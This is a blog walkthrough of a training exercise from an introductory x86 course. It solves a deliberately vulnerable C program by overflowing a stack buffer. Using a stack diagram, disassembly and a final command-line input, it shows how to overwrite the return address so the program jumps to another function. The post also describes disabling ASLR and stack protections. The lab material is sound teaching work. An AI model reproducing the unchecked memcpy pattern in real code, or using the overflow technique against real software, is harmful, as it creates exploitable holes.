THE

SPRAWL

  •  
  •  
  •  
  • Open Security Training has a growing number of video lectures on a variety of subjects related to computer security. One of the introductory classes, Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration, had a pretty neat Mystery Box challenge which refused to compile during the lecture so to save time it was skipped. In this guide I will go over the skipped Buffer Overflow challenge and explain exactly how to solve it.

    NOTE: If you are compiling the BasicBufferOverflow project on a recent version of Windows with ASLR enabled, be sure to compile with /DYNAMICBASE:NO in addition to Xeno's recommendations of disabling /O1, /O2 optimizations and removing the /GS flag.

    The Challenge

    The BasicBufferOverflow project contains a simple C code which when compiled and executed prints out I am soooo lame :( message. The challenge is to make the program print out awwwwwww yeaaahhhhh! All awesome, all the time! instead. Here is the source code for your reference:

    #include <stdio.h>
    
    int lame(unsigned int size, unsigned int value){
    
        unsigned int array1[4];
        unsigned int array2[6];
        array2[5] = value;
        memcpy(&array1, &array2, size * sizeof(unsigned int));
    
        return 1;
    }
    
    void awesome(){
        printf("awwwwwww yeaaahhhhh! All awesome, all the time!\n");
    }
    
    void main(unsigned int argc, char ** argv){
        unsigned int size, value;
        size = strtoul(argv[1], "", 10);
        value = strtoul(argv[2], "", 16);
    
        if(!lame(size, value)){
            awesome();
        }
        else{
            printf("I am soooo lame :(\n");
        }
    
        return 0xdeadbeef;
    }
    

    Based on the above source code, the program takes two command line arguments size and value which it treats as decimal and hex values respectively. Next, the return value of function lame() is checked and if the return is 0, then we call function awesome() which in turn prints out the message we want. However, it appears that lame() always returns the value 1 no matter the input of size or value.

    The Overflow

    Let's look at the function lame() a bit closer. There are two local arrays with different sizes array1[4] and array2[6]. Because the two arrays are local they are initialized on the stack. Next we write value to the last row of array2. Let's visualize the lame() stack frame up to this point:

       +-------------------+
       | argument: value   |
       +-------------------+
       | argument: size    |
       +-------------------+
       | return pointer    |    +
       +===================+    |
       | saved ebp         |    |
       +-------------------+    |
       | array1[3]         |    |
       +-------------------+    |
       | array1[2]         |    |
       +-------------------+    |  stack growth
       | array1[1]         |    |
       +-------------------+    |    direction
       | array1[0]         |    |
       +-------------------+    |
       | array2[5] = value |    |
       +-------------------+    |
       | array2[4]         |    v
       +-------------------+
       | array2[3]         |
       +-------------------+
       | array2[2]         |
       +-------------------+
       | array2[1]         |
       +-------------------+
       | array2[0]         |
       +===================+
    

    Next we have a memcpy() call which copes data stored in array2 to array1. More importantly we control exactly how many integers are copied from one array to another with the size parameter! So if we were to set the value of size to 6 then we would cause lame() to copy 6 integer values from array2 into array1 which can only hold 4 resulting in an overflow. Let's visualize what would happen:

       +-------------------+
       | argument: value   |
       +-------------------+
       | argument: size    |
       +-------------------+       +-------------------+
       | return pointer    | <---+ | array2[5] = value |
       +===================+       +-------------------+
       | saved ebp         | <---+ | array2[4]         |
       +-------------------+       +-------------------+
       | array1[3]         | <---+ | array2[3]         |
       +-------------------+       +-------------------+
       | array1[2]         | <---+ | array2[2]         |
       +-------------------+       +-------------------+
       | array1[1]         | <---+ | array2[1]         |
       +-------------------+       +-------------------+
       | array1[0]         | <---+ | array2[0]         |
       +-------------------+       +-------------------+
       | array2[5] = value |
       +-------------------+
       | array2[4]         |
       +-------------------+
       | array2[3]         |
       +-------------------+
       | array2[2]         |
       +-------------------+
       | array2[1]         |
       +-------------------+
       | array2[0]         |
       +===================+
    

    Observe that the last row of the array2 precisely lines up with the location in memory holding the return value pointing to the main() function. Thus by overflowing the array1 we can control the execution flow and possibly direct it to execute the awesome() function.

    Finishing Touches

    At this point we can trigger the overflow and use any address stored in value to overwrite the return address pointer of the lame() function. Let's look at the disassembly of the main() function to determine a likely candidate:

    .text:004010A7 mov     eax, [ebp+value]
    .text:004010AA push    eax             ; value
    .text:004010AB mov     ecx, [ebp+size]
    .text:004010AE push    ecx             ; size
    .text:004010AF call    _lame
    .text:004010B4 add     esp, 8
    .text:004010B7 test    eax, eax
    .text:004010B9 jnz     short loc_4010C2
    .text:004010BB call    _awesome
    .text:004010C0 jmp     short loc_4010CF
    .text:004010C2
    .text:004010C2 loc_4010C2:             ; "I am soooo lame :(\n"
    .text:004010C2 push    offset aIAmSooooLame
    .text:004010C7 call    _printf
    .text:004010CC add     esp, 4
    .text:004010CF
    .text:004010CF loc_4010CF:
    .text:004010CF mov     eax, 0DEADBEEFh
    .text:004010D4 mov     esp, ebp
    .text:004010D6 pop     ebp
    .text:004010D7 retn
    

    Based on the above disassembly we could overwrite the return address with 0x4010BB which is the call to awesome(). Alternatively, you could use an address somewhere in the awesome() function just before it prints out the message. Once you decide on which address to use (it is likely going to be different on your system) try it out on the executable:

    C:\>BasicBufferOverflow.exe 6 0x4010bb
    awwwwwww yeaaahhhhh! All awesome, all the time!
    

    External Links and References

    Special Note

    Thank you Xeno and the entire Open Security Training staff for sharing such a high quality material with the world.

    Published on January 19th, 2014 by iphelix

    sprawlsimilar

    open security training - introduction to software exploits - uninitialized variable overflow

    Open Security Training's Introduction to Software Exploits course has a number of vulnerability examples designed to illustrate unconventional exploitation techniques. One such example is an uninitialized variable condition which may be exploitable under certain conditions. The following walkthrough goes into the exact exploitation steps for this class of vulnerabilities. Read more.

    open security training - introduction to software exploits - off-by-one

    A walkthrough for the Off-by-One exploit in the Open Security Training - Introduction to Software Exploits class. Read more.

    open security training - introduction to re - bomb lab secret phase

    A walkthrough for the Secret Phase of the Bomb Lab covered in Open Security Training's Introduction to Reverse Engineering class. Read more.

    exploit exercises - protostar - stack levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the stack exploitation portion of the wargame. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\